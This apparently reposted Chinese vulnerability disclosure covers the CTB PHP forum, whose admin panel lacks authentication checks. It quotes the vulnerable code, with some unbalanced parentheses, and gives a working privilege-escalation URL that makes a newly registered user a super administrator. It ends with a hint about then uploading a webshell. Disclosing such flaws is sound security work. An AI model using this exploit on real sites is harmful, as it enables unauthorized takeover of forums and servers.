明輝手游網(wǎng)中心:是一個免費提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺!

漂亮但不安全的CTB

[摘要]>>>Dedicated This Scrap To CaoJing<<< 涉及版本: ^^^^^^^ 目前所有版本(現(xiàn)在1.3Alpha為最高版本) 描述: ^^^^^^ CTB是一款由實易數(shù)碼<11cn.org>;開發(fā)和維護的源代碼開放的PHP論...

>>>Dedicated This Scrap To CaoJing<<< 

涉及版本: 
^^^^^^^ 
目前所有版本(現(xiàn)在1.3Alpha為最高版本) 

描述: 
^^^^^^ 
CTB是一款由實易數(shù)碼<11cn.org>;開發(fā)和維護的源代碼開放的PHP論壇。由于其后臺管理文件驗證存在缺陷,可能導(dǎo)致非法用戶直接添加論壇超級管理員,進而威脅論壇或服務(wù)器安全。 

具體: 
^^^^ 
CTB書寫非常規(guī)范,代碼井然有序,賞心悅目,的確是優(yōu)美的程序;特別是其功能模塊,著實讓小弟學(xué)習(xí)了一把。但安全方面卻令人堪憂: 

試看如下代碼: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //獲取get變量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化類變量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

這里沒有任何驗證,我們看看添加管理員的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系統(tǒng)管理模塊子類 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //輸入數(shù)據(jù)簡單格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //執(zhí)行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然沒有驗證,一路順利。 

利用方法: 
^^^^^^^ 
先注冊一個用戶: 

登陸ID:  cat 
用戶名 :   dog 
密碼:      ilikecat 
重復(fù)密碼:  ilikecat 
信箱:      cat@dog.com 

接著提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你現(xiàn)在已經(jīng)是超級管理員了,不相信?提交如下URL后臺登陸: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名稱:  cat 
管理密碼:  ilikecat 

咦...還真成功了! 

你現(xiàn)在是不是想更改后臺上傳文件類型,然后upload webshell?哼,被我猜到了吧... 

后記:另外發(fā)現(xiàn)CTB代碼注釋有些扎眼的錯別字,大煞風(fēng)景,希望可以一起修正。


標(biāo)簽:漂亮但不安全的CTB